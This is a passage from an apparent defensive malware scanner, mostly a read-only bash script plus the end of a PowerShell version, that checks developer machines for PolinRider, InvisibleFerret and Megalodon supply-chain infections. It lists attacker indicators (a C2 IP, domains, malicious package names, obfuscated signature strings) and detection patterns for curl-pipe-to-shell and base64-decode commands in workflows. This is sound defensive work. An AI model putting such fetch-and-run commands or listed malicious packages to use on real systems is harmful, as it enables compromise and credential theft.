\"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\" -ForegroundColor Green\n        Write-Host \"\"\n        Write-Host \" \ud83d\udc40 items are informational \u2014 review briefly.\"\n        Write-Host \" Clean scan does not guarantee absence of novel threats.\"\n    }\n\n    Write-Host \"\"\n}\n\n# \u2500\u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nWrite-Host \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\"\nWrite-Host \" Supply Chain Malware Scanner v$Version\"\nWrite-Host \" PolinRider / InvisibleFerret / Megalodon\"\nWrite-Host \"\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\"\nWrite-Host \"\"\nWrite-Host \" Platform:   Windows $([System.Environment]::OSVersion.Version)\"\nWrite-Host \" User:       $env:USERNAME\"\nWrite-Host \" Date:       $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss UTC' -AsUTC)\"\nWrite-Host \" Scan dirs:  $($ResolvedDirs -join ', ')\"\nWrite-Host \" Deep scan:  $Deep\"\n\n# Core IOCs\nTest-LockFile\nTest-CredentialDumps\nTest-NetworkC2\nTest-InvisibleFerret\n\n# Source code infection\nTest-MalwareSignatures\nTest-LongConfigLines\nTest-FakeFonts\nTest-MaliciousPackages\nTest-VsCodeTasks\nTest-SolanaC2\n\n# Supply chain\nTest-AxiosCompromised\nTest-NxConsole\nTest-PostinstallScripts\n\n# Propagation\nTest-PropagationArtifacts\nTest-MegalodonActions\n\n# Environment integrity\nTest-GitHooks\nTest-NpmrcTokens\nTest-GlobalPackages\nTest-Extensions\nTest-Persistence\n\n# Deep checks\nif ($Deep) {\n    Test-EventLogNetwork\n    Test-EventLogProcess\n}\n\nShow-Summary\n\nif ($script:Findings -gt 0) { exit 1 } else { exit 0 }\n\n\n#!/usr/bin/env bash\n# scan-supply-chain.sh \u2014 Supply Chain Malware Scanner\n# Threats: PolinRider, InvisibleFerret, Megalodon, compromised npm packages\n# Read-only: does NOT modify any files or system state\n# Safe: never prints credential or token values\n#\n# Usage: ./scan-supply-chain.sh [--deep] [--scan-dirs \"/path/a /path/b\"]\n# --deep    Enable slow macOS log checks (DNS, system log C2 queries)\n# --scan-dirs  Override default source code directories to scan\n\nset -euo pipefail\n\nVERSION=\"1.0.0\"\n\n# \u2500\u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nDEFAULT_SCAN_DIRS=\"$HOME/git $HOME/projects $HOME/dev $HOME/code $HOME/repos\"\nSCAN_DIRS=\"${SCAN_DIRS:-$DEFAULT_SCAN_DIRS}\"\nMAX_DEPTH=6\nDEEP_SCAN=false\n\nEXCLUDE_DIRS=\"node_modules .next dist .git build .turbo .expo .cache\"\n\n# Known C2 indicators\nC2_IPS=\"166.88.54.158\"\nC2_DOMAINS=\"trongrid|aptoslabs|bsc-dataseed|bsc-rpc\\.publicnode|api\\.telegram\\.org\"\nC2_VERCEL=\"default-configuration\\.vercel|vscode-settings-bootstrap\\.vercel|vscode-load-config\\.vercel|260120\\.vercel\"\n\n# Malicious npm packages (PolinRider distribution vector)\nMALICIOUS_PKGS=\"tailwindcss-style-animate|tailwind-mainanimation|tailwind-tionbased|tailwindcss-typography-style|tailwindcss-style-modify|tailwindcss-animate-style\"\n\n# Known safe postinstall commands (prefix match)\nSAFE_POSTINSTALL=\"prisma generate|patch-package|husky|ngcc|electron-rebuild|node-gyp|esbuild|tsc |tsx |ts-node|npx prisma|playwright install|puppeteer install|opencollective|is-ci|npm run build|pnpm run build|yarn build|expo-configure-project|pod-install\"\n\n# \u2500\u2500\u2500 Output helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nif [[ -t 1 ]]; then\n  RED='\\033[0;31m'; GREEN='\\033[0;32m'; YELLOW='\\033[1;33m'\n  CYAN='\\033[0;36m'; BOLD='\\033[1m'; DIM='\\033[2m'; NC='\\033[0m'\nelse\n  RED=''; GREEN=''; YELLOW=''; CYAN=''; BOLD=''; DIM=''; NC=''\nfi\n\nTOTAL_CHECKS=20\nCURRENT=0\ndeclare -a CHECK_NAMES=()\ndeclare -a CHECK_RESULTS=()\ndeclare -a CHECK_DETAILS=()\nFINDINGS=0\n\nheader() {\n  CURRENT=$((CURRENT + 1))\n  printf \"\\n${CYAN}[%2d/%d]${NC} ${BOLD}%s${NC}\\n\" \"$CURRENT\" \"$TOTAL_CHECKS\" \"$1\"\n}\n\npass()   { printf \"       ${GREEN}\u2705 %s${NC}\\n\" \"$1\"; }\nwarn()   { printf \"       ${YELLOW}\u26a0\ufe0f  %s${NC}\\n\" \"$1\"; FINDINGS=$((FINDINGS + 1)); }\nfail()   { printf \"       ${RED}\ud83d\udd34 %s${NC}\\n\" \"$1\"; FINDINGS=$((FINDINGS + 1)); }\ndetail() { printf \"       ${DIM}   %s${NC}\\n\" \"$1\"; }\n\nrecord() {\n  CHECK_NAMES+=(\"$1\")\n  CHECK_RESULTS+=(\"$2\")\n}\n\n# \u2500\u2500\u2500 Resolve scan directories \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nRESOLVED_DIRS=()\n\nresolve_dirs() {\n  for dir in $SCAN_DIRS; do\n    if [[ -d \"$dir\" ]]; then\n      RESOLVED_DIRS+=(\"$dir\")\n    fi\n  done\n  if [[ ${#RESOLVED_DIRS[@]} -eq 0 ]]; then\n    printf \"${YELLOW}Warning: no scan directories found. Checked: %s${NC}\\n\" \"$SCAN_DIRS\"\n    printf \"Override with: SCAN_DIRS=\\\"/your/code\\\" ./scan-supply-chain.sh\\n\"\n  fi\n}\n\n# Build find exclude arguments: -path '*/node_modules' -prune -o ...\nbuild_find_excludes() {\n  local excludes=\"\"\n  for d in $EXCLUDE_DIRS; do\n    excludes=\"$excludes -path '*/$d' -prune -o\"\n  done\n  echo \"$excludes\"\n}\n\n# Build grep exclude-dir arguments\nbuild_grep_excludes() {\n  local excludes=\"\"\n  for d in $EXCLUDE_DIRS; do\n    excludes=\"$excludes --exclude-dir=$d\"\n  done\n  echo \"$excludes\"\n}\n\nGREP_EXCLUDES=$(build_grep_excludes)\n\n# \u2500\u2500\u2500 Check functions \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n# 1. Lock file \u2014 direct evidence of payload execution\ncheck_lock_file() {\n  header \"Lock file (payload execution marker)\"\n  local lockfile=\"/tmp/tmp7A863DD1.tmp\"\n  if [[ -f \"$lockfile\" ]]; then\n    fail \"LOCK FILE EXISTS at $lockfile \u2014 payload executed on this machine\"\n    detail \"$(ls -la \"$lockfile\")\"\n    record \"Lock file\" \"\ud83d\udd34\"\n  else\n    pass \"Not found\"\n    record \"Lock file\" \"\u2705\"\n  fi\n}\n\n# 2. Credential dumps in ~/.npm staging directory\ncheck_credential_dumps() {\n  header \"Credential dumps (~/.npm staging)\"\n  local found=0\n  local files\n  files=$(find \"$HOME/.npm\" \\( \\\n    -name \"_credentials.json\" -o \\\n    -name \"_sysenv.json\" -o \\\n    -name \"_sysenv.env\" -o \\\n    -name \"_info.json\" -o \\\n    -name \"*.zip\" \\\n  \\) 2>/dev/null || true)\n\n  if [[ -n \"$files\" ]]; then\n    found=$(echo \"$files\" | wc -l | tr -d ' ')\n    fail \"CREDENTIAL DUMPS FOUND \u2014 $found file(s) in ~/.npm\"\n    echo \"$files\" | while IFS= read -r f; do\n      detail \"$(ls -la \"$f\" 2>/dev/null)\"\n    done\n    detail \"DO NOT delete these \u2014 they are forensic evidence\"\n    record \"Credential dumps\" \"\ud83d\udd34\"\n  else\n    pass \"No suspicious files\"\n    record \"Credential dumps\" \"\u2705\"\n  fi\n}\n\n# 3. Active network connections to known C2\ncheck_network_c2() {\n  header \"Active C2 network connections\"\n  local hits\n  hits=$(netstat -an 2>/dev/null | grep -iE \"$C2_IPS\" || true)\n  if [[ -n \"$hits\" ]]; then\n    fail \"ACTIVE CONNECTION TO C2 SERVER\"\n    echo \"$hits\" | while IFS= read -r line; do detail \"$line\"; done\n    record \"C2 connections\" \"\ud83d\udd34\"\n  else\n    pass \"No active connections to known C2 IPs\"\n    record \"C2 connections\" \"\u2705\"\n  fi\n}\n\n# 4. InvisibleFerret active processes\ncheck_invisibleferret() {\n  header \"InvisibleFerret RAT processes\"\n  local hits\n  hits=$(ps aux 2>/dev/null | grep -iE \"__DAEMONIZED|cat\\.py\" | grep -v grep || true)\n  if [[ -n \"$hits\" ]]; then\n    fail \"INVISIBLEFERRET PROCESS DETECTED\"\n    echo \"$hits\" | while IFS= read -r line; do detail \"$line\"; done\n    record \"InvisibleFerret\" \"\ud83d\udd34\"\n  else\n    pass \"No InvisibleFerret processes found\"\n    record \"InvisibleFerret\" \"\u2705\"\n  fi\n}\n\n# 5. Known malware signatures in JS files\ncheck_malware_signatures() {\n  header \"Known malware signatures in source files\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"Malware signatures\" \"\u23ed\ufe0f\"; return; }\n\n  local hits\n  hits=$(grep -rl $GREP_EXCLUDES \\\n    --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts' \\\n    -E \"rmcej%otb%|Cot%3t=shtP|_\\\\\\$_b229|_\\\\\\$_1e42|global\\['\\!'\\]\" \\\n    \"${RESOLVED_DIRS[@]}\" 2>/dev/null || true)\n\n  if [[ -n \"$hits\" ]]; then\n    local count\n    count=$(echo \"$hits\" | wc -l | tr -d ' ')\n    fail \"MALWARE SIGNATURES FOUND in $count file(s)\"\n    echo \"$hits\" | head -20 | while IFS= read -r f; do detail \"$f\"; done\n    [[ $count -gt 20 ]] && detail \"... and $((count - 20)) more\"\n    record \"Malware signatures\" \"\ud83d\udd34\"\n  else\n    pass \"No known signatures found\"\n    record \"Malware signatures\" \"\u2705\"\n  fi\n}\n\n# 6. Suspiciously long lines in config files (payload hides after ~1300 spaces)\ncheck_long_config_lines() {\n  header \"Suspiciously long config lines (>200 chars)\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"Long config lines\" \"\u23ed\ufe0f\"; return; }\n\n  local config_names=\"-name 'postcss.config.*' -o -name 'next.config.*' -o -name 'tailwind.config.*' \\\n    -o -name 'eslint.config.*' -o -name 'babel.config.*' -o -name 'jest.config.*' \\\n    -o -name 'vite.config.*' -o -name 'tsup.config.*' -o -name 'astro.config.*' \\\n    -o -name 'webpack.config.*' -o -name 'vue.config.*' -o -name 'App.js'\"\n\n  local found=0\n  local output=\"\"\n\n  for dir in \"${RESOLVED_DIRS[@]}\"; do\n    while IFS= read -r file; do\n      [[ -z \"$file\" ]] && continue\n      local longest\n      longest=$(awk '{ print length }' \"$file\" 2>/dev/null | sort -rn | head -1)\n      if [[ -n \"$longest\" ]] && [[ \"$longest\" -gt 200 ]] 2>/dev/null; then\n        output+=\"\u26a0\ufe0f  SUSPICIOUS ($longest chars): $file\"$'\\n'\n        found=$((found + 1))\n      fi\n    done < <(find \"$dir\" -maxdepth \"$MAX_DEPTH\" \\\n      -path '*/node_modules' -prune -o \\\n      -path '*/.next' -prune -o \\\n      -path '*/dist' -prune -o \\\n      -path '*/.git' -prune -o \\\n      \\( -name 'postcss.config.*' -o -name 'next.config.*' -o -name 'tailwind.config.*' \\\n         -o -name 'eslint.config.*' -o -name 'babel.config.*' -o -name 'jest.config.*' \\\n         -o -name 'vite.config.*' -o -name 'tsup.config.*' -o -name 'astro.config.*' \\\n         -o -name 'webpack.config.*' -o -name 'vue.config.*' -o -name 'App.js' \\) \\\n      -print 2>/dev/null)\n  done\n\n  if [[ $found -gt 0 ]]; then\n    warn \"FOUND $found config file(s) with suspiciously long lines\"\n    echo \"$output\" | while IFS= read -r line; do [[ -n \"$line\" ]] && detail \"$line\"; done\n    detail \"Inspect these files \u2014 the payload hides after ~1300 trailing spaces\"\n    record \"Long config lines\" \"\u26a0\ufe0f\"\n  else\n    pass \"All config files have normal line lengths\"\n    record \"Long config lines\" \"\u2705\"\n  fi\n}\n\n# 7. Fake font files (.woff2 containing JS)\ncheck_fake_fonts() {\n  header \"Fake font payloads (.woff2 with JS)\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"Fake fonts\" \"\u23ed\ufe0f\"; return; }\n\n  local found=0\n  for dir in \"${RESOLVED_DIRS[@]}\"; do\n    while IFS= read -r file; do\n      [[ -z \"$file\" ]] && continue\n      if head -c 100 \"$file\" 2>/dev/null | grep -qE \"global|function|require|module\\.exports\"; then\n        warn \"JS payload in font: $file\"\n        found=$((found + 1))\n      fi\n    done < <(find \"$dir\" -maxdepth \"$MAX_DEPTH\" \\\n      -path '*/node_modules' -prune -o \\\n      -path '*/.next' -prune -o \\\n      -name '*.woff2' -print 2>/dev/null)\n  done\n\n  if [[ $found -gt 0 ]]; then\n    record \"Fake fonts\" \"\u26a0\ufe0f\"\n  else\n    pass \"No fake font payloads found\"\n    record \"Fake fonts\" \"\u2705\"\n  fi\n}\n\n# 8. Malicious npm packages in package.json\ncheck_malicious_packages() {\n  header \"Malicious npm packages in package.json\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"Malicious packages\" \"\u23ed\ufe0f\"; return; }\n\n  local hits\n  hits=$(grep -rl $GREP_EXCLUDES \\\n    --include='package.json' \\\n    -E \"$MALICIOUS_PKGS\" \\\n    \"${RESOLVED_DIRS[@]}\" 2>/dev/null || true)\n\n  if [[ -n \"$hits\" ]]; then\n    local count\n    count=$(echo \"$hits\" | wc -l | tr -d ' ')\n    fail \"MALICIOUS PACKAGES in $count package.json file(s)\"\n    echo \"$hits\" | while IFS= read -r f; do detail \"$f\"; done\n    record \"Malicious packages\" \"\ud83d\udd34\"\n  else\n    pass \"No known malicious packages found\"\n    record \"Malicious packages\" \"\u2705\"\n  fi\n}\n\n# 9. VS Code tasks.json with C2 domains\ncheck_vscode_tasks() {\n  header \"VS Code tasks.json with C2 domains\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"tasks.json C2\" \"\u23ed\ufe0f\"; return; }\n\n  local hits\n  hits=$(grep -rl $GREP_EXCLUDES \\\n    --include='tasks.json' \\\n    -E \"$C2_VERCEL|e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9\" \\\n    \"${RESOLVED_DIRS[@]}\" 2>/dev/null || true)\n\n  if [[ -n \"$hits\" ]]; then\n    fail \"MALICIOUS tasks.json FOUND\"\n    echo \"$hits\" | while IFS= read -r f; do detail \"$f\"; done\n    record \"tasks.json C2\" \"\ud83d\udd34\"\n  else\n    pass \"No malicious tasks.json files found\"\n    record \"tasks.json C2\" \"\u2705\"\n  fi\n}\n\n# 10. Solana/blockchain C2 patterns in source code\ncheck_solana_c2() {\n  header \"Solana/blockchain C2 patterns in source\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"Blockchain C2\" \"\u23ed\ufe0f\"; return; }\n\n  local hits\n  hits=$(grep -rl $GREP_EXCLUDES \\\n    --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts' \\\n    -E \"@solana/web3|trongrid|wallet.*memo\" \\\n    \"${RESOLVED_DIRS[@]}\" 2>/dev/null || true)\n\n  if [[ -n \"$hits\" ]]; then\n    local count\n    count=$(echo \"$hits\" | wc -l | tr -d ' ')\n    warn \"BLOCKCHAIN REFERENCES in $count file(s) \u2014 verify if legitimate\"\n    echo \"$hits\" | head -10 | while IFS= read -r f; do detail \"$f\"; done\n    detail \"May be legitimate if this project uses Solana/Tron \u2014 verify manually\"\n    record \"Blockchain C2\" \"\u26a0\ufe0f\"\n  else\n    pass \"No blockchain C2 patterns found\"\n    record \"Blockchain C2\" \"\u2705\"\n  fi\n}\n\n# 11. Compromised axios versions (1.14.1, 0.30.4)\ncheck_axios_compromised() {\n  header \"Compromised axios versions\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"Axios versions\" \"\u23ed\ufe0f\"; return; }\n\n  local hits\n  hits=$(grep -rl $GREP_EXCLUDES \\\n    --include='package.json' --include='pnpm-lock.yaml' \\\n    --include='package-lock.json' --include='yarn.lock' \\\n    -E '\"axios\":\\s*\"(1\\.14\\.1|0\\.30\\.4)\"|axios@(1\\.14\\.1|0\\.30\\.4)' \\\n    \"${RESOLVED_DIRS[@]}\" 2>/dev/null || true)\n\n  if [[ -n \"$hits\" ]]; then\n    fail \"COMPROMISED AXIOS VERSION found\"\n    echo \"$hits\" | while IFS= read -r f; do detail \"$f\"; done\n    detail \"axios 1.14.1 and 0.30.4 were published by a compromised maintainer\"\n    record \"Axios versions\" \"\ud83d\udd34\"\n  else\n    pass \"No compromised axios versions found\"\n    record \"Axios versions\" \"\u2705\"\n  fi\n}\n\n# 12. Nx Console CVE-2026-48027\ncheck_nx_console() {\n  header \"Nx Console extension (CVE-2026-48027)\"\n  local exts=\"\"\n  exts=$(code --list-extensions --show-versions 2>/dev/null || \\\n         cursor --list-extensions --show-versions 2>/dev/null || true)\n\n  if echo \"$exts\" | grep -iqE \"nrwl\\.angular-console|nx-console\"; then\n    local version\n    version=$(echo \"$exts\" | grep -iE \"nrwl|nx-console\" | head -1)\n    if echo \"$version\" | grep -q \"18\\.95\\.0\"; then\n      fail \"COMPROMISED Nx Console v18.95.0 installed \u2014 update to 18.100.0+\"\n      detail \"$version\"\n      record \"Nx Console\" \"\ud83d\udd34\"\n    else\n      pass \"Nx Console installed but version is safe: $version\"\n      record \"Nx Console\" \"\u2705\"\n    fi\n  else\n    pass \"Nx Console not installed\"\n    record \"Nx Console\" \"\u2705\"\n  fi\n}\n\n# 13. Suspicious postinstall/preinstall scripts\ncheck_postinstall_scripts() {\n  header \"Suspicious postinstall/preinstall scripts\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"postinstall\" \"\u23ed\ufe0f\"; return; }\n\n  local found=0\n  for dir in \"${RESOLVED_DIRS[@]}\"; do\n    while IFS= read -r pkg; do\n      [[ -z \"$pkg\" ]] && continue\n      local scripts\n      scripts=$(python3 -c \"\nimport json, sys\ntry:\n    d = json.load(open('$pkg'))\n    s = d.get('scripts', {})\n    for k in ('postinstall', 'preinstall'):\n        if k in s:\n            print(f'{k}: {s[k]}')\nexcept: pass\n\" 2>/dev/null || true)\n\n      if [[ -n \"$scripts\" ]]; then\n        while IFS= read -r script_line; do\n          local cmd=\"${script_line#*: }\"\n          local is_safe=false\n          IFS='|' read -ra safe_patterns <<< \"$SAFE_POSTINSTALL\"\n          for pattern in \"${safe_patterns[@]}\"; do\n            if [[ \"$cmd\" == *\"$pattern\"* ]]; then\n              is_safe=true\n              break\n            fi\n          done\n          if ! $is_safe; then\n            warn \"REVIEW: $pkg\"\n            detail \"$script_line\"\n            found=$((found + 1))\n          fi\n        done <<< \"$scripts\"\n      fi\n    done < <(find \"$dir\" -maxdepth 4 \\\n      -path '*/node_modules' -prune -o \\\n      -name 'package.json' -print 2>/dev/null)\n  done\n\n  if [[ $found -gt 0 ]]; then\n    detail \"Review these scripts \u2014 not all are malicious, but verify unknown commands\"\n    record \"postinstall\" \"\u26a0\ufe0f\"\n  else\n    pass \"No suspicious install scripts found\"\n    record \"postinstall\" \"\u2705\"\n  fi\n}\n\n# 14. Propagation artifacts (.bat files)\ncheck_propagation_artifacts() {\n  header \"Propagation artifacts (.bat files, .gitignore entries)\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"Propagation\" \"\u23ed\ufe0f\"; return; }\n\n  local found=0\n\n  for dir in \"${RESOLVED_DIRS[@]}\"; do\n    local bats\n    bats=$(find \"$dir\" -maxdepth \"$MAX_DEPTH\" \\\n      -path '*/node_modules' -prune -o \\\n      \\( -name 'temp_auto_push.bat' -o -name 'config.bat' \\) \\\n      -print 2>/dev/null || true)\n    if [[ -n \"$bats\" ]]; then\n      echo \"$bats\" | while IFS= read -r f; do\n        warn \"Propagation artifact: $f\"\n        found=$((found + 1))\n      done\n    fi\n  done\n\n  local gitignore_refs\n  gitignore_refs=$(grep -rl $GREP_EXCLUDES \\\n    --include='.gitignore' \\\n    'config\\.bat' \\\n    \"${RESOLVED_DIRS[@]}\" 2>/dev/null || true)\n  if [[ -n \"$gitignore_refs\" ]]; then\n    echo \"$gitignore_refs\" | while IFS= read -r f; do\n      warn \"config.bat in .gitignore: $f\"\n      found=$((found + 1))\n    done\n  fi\n\n  if [[ $found -eq 0 ]]; then\n    pass \"No propagation artifacts found\"\n    record \"Propagation\" \"\u2705\"\n  else\n    record \"Propagation\" \"\u26a0\ufe0f\"\n  fi\n}\n\n# 15. Megalodon GitHub Actions injection\ncheck_megalodon_actions() {\n  header \"Megalodon GitHub Actions injection\"\n  [[ ${#RESOLVED_DIRS[@]} -eq 0 ]] && { pass \"No directories to scan\"; record \"GH Actions\" \"\u23ed\ufe0f\"; return; }\n\n  local found=0\n  for dir in \"${RESOLVED_DIRS[@]}\"; do\n    while IFS= read -r workflow; do\n      [[ -z \"$workflow\" ]] && continue\n      if grep -qE 'curl\\s.*\\|\\s*(sh|bash)|wget\\s.*\\|\\s*(sh|bash)|base64\\s+(-d|--decode)\\s*\\||\\beval\\s+\\$\\(' \"$workflow\" 2>/dev/null; then\n        warn \"Suspicious pattern in: $workflow\"\n        found=$((found + 1))\n      fi\n    done < <(find \"$dir\" -maxdepth \"$MAX_DEPTH\" \\\n      -path '*/.github/workflows' -type d -exec find {} -name '*.yml' -o -name '*.yaml' \\; 2>/dev/null)\n  done\n\n  if [[ $found -gt 0 ]]; then\n    detail \"Review these workflows \u2014 curl|bash and base64 decode in Actions are red flags\"\n    record \"GH Actions\" \"\u26a0\ufe0f\"\n  else\n    pass \"No suspicious GitHub Actions patterns found\"\n    record \"GH Actions\" \"\u2705\"\n  fi\n}\n\n# 16. Git hooks \u2014 hijacked global hooks\ncheck_git_hooks() {\n  header \"Git hooks integrity\"\n  local found=0\n\n  local hooks_path\n  hooks_path=$(git config --global core.hooksPath 2>/dev/null || true)\n  if [[ -n \"$hooks_path\" ]]; then\n    warn \"Global hooks path is set: $hooks_path\"\n    if [[ -d \"$hooks_path\" ]]; then\n      detail \"Contents: $(ls \"$hooks_path\" 2>/dev/null || echo '(empty)')\"\n    fi\n    found=$((found + 1))\n  else\n    pass \"No global hooksPath override\"\n  fi\n\n  for hook_dir in \"$HOME/.config/git/hooks\" \"$HOME/.git-templates/hooks\"; do\n    if [[ -d \"$hook_dir\" ]] && [[ -n \"$(ls -A \"$hook_dir\" 2>/dev/null)\" ]]; then\n      warn \"Hook templates found in: $hook_dir\"\n      detail \"$(ls \"$hook_dir\")\"\n      found=$((found + 1))\n    fi\n  done\n\n  if [[ $found -eq 0 ]]; then\n    record \"Git hooks\" \"\u2705\"\n  else\n    detail \"Verify these hooks are legitimate \u2014 malware uses global hooks for persistence\"\n    record \"Git hooks\" \"\u26a0\ufe0f\"\n  fi\n}\n\n# 17. npm auth tokens (.npmrc) \u2014 existence check only, NEVER print values\ncheck_npmrc_tokens() {\n  header \"npm auth tokens (.npmrc)\"\n  local npmrc=\"$HOME/.npmrc\"\n  if [[ -f \"$npmrc\" ]]; then\n    local token_lines\n    token_lines=$(grep -cE '(authToken|_auth|_password)' \"$npmrc\" 2>/dev/null || echo \"0\")\n    if [[ \"$token_lines\" -gt 0 ]]; then\n      warn \".npmrc contains $token_lines line(s) with auth tokens\"\n      detail \"If compromised, rotate these tokens immediately\"\n      detail \"Token values intentionally hidden \u2014 inspect manually: cat ~/.npmrc\"\n      record \".npmrc tokens\" \"\u26a0\ufe0f\"\n    else\n      pass \".npmrc exists but contains no auth tokens\"\n      record \".npmrc tokens\" \"\u2705\"\n    fi\n  else\n    pass \"No .npmrc file found\"\n    record \".npmrc tokens\" \"\u2705\"\n  fi\n}\n\n# 18. Global packages inventory\ncheck_global_packages() {\n  header \"Global packages (npm/pnpm)\"\n  printf \"       ${DIM}npm global:${NC}\\n\"\n  npm ls -g --depth=0 2>/dev/null | tail -n +2 | while IFS= read -r line; do detail \"$line\"; done\n\n  if command -v pnpm &>/dev/null; then\n    printf \"       ${DIM}pnpm global:${NC}\\n\"\n    pnpm ls -g 2>/dev/null | tail -n +2 | while IFS= read -r line; do detail \"$line\"; done\n  fi\n\n  pass \"Review the lists above for any unfamiliar packages\"\n  record \"Global packages\" \"\ud83d\udc40\"\n}\n\n# 19. VS Code / Cursor extensions\ncheck_extensions() {\n  header \"Editor extensions\"\n  local exts=\"\"\n  if command -v code &>/dev/null; then\n    printf \"       ${DIM}VS Code extensions:${NC}\\n\"\n    exts=$(code --list-extensions 2>/dev/null || true)\n  elif command -v cursor &>/dev/null; then\n    printf \"       ${DIM}Cursor extensions:${NC}\\n\"\n    exts=$(cursor --list-extensions 2>/dev/null || true)\n  fi\n\n  if [[ -n \"$exts\" ]]; then\n    echo \"$exts\" | while IFS= read -r ext; do detail \"$ext\"; done\n    pass \"Review for unfamiliar extensions\"\n  else\n    pass \"No editor extensions found (or editor CLI not available)\"\n  fi\n  record \"Extensions\" \"\ud83d\udc40\"\n}\n\n# 20. Persistence mechanisms\ncheck_persistence() {\n  header \"Persistence mechanisms\"\n  local found=0\n\n  if [[ \"$(uname)\" == \"Darwin\" ]]; then\n    local agents_dir=\"$HOME/Library/LaunchAgents\"\n    if [[ -d \"$agents_dir\" ]] && [[ -n \"$(ls -A \"$agents_dir\" 2>/dev/null)\" ]]; then\n      printf \"       ${DIM}LaunchAgents:${NC}\\n\"\n      ls \"$agents_dir\" 2>/dev/null | while IFS= read -r f; do detail \"$f\"; done\n    else\n      detail \"LaunchAgents: (empty)\"\n    fi\n  fi\n\n  local cron\n  cron=$(crontab -l 2>/dev/null || true)\n  if [[ -n \"$cron\" ]]; then\n    printf \"       ${DIM}Crontab:${NC}\\n\"\n    echo \"$cron\" | while IFS= read -r line; do detail \"$line\"; done\n  else\n    detail \"Crontab: (empty)\"\n  fi\n\n  printf \"       ${DIM}Suspicious processes (node/npm/python, excluding IDE):${NC}\\n\"\n  local procs\n  procs=$(ps aux 2>/dev/null | grep -iE 'node|npm|npx|python' | \\\n    grep -viE 'grep|Claude|cursor|vscode|Code Helper|Electron|copilot|eslint_d' || true)\n  if [[ 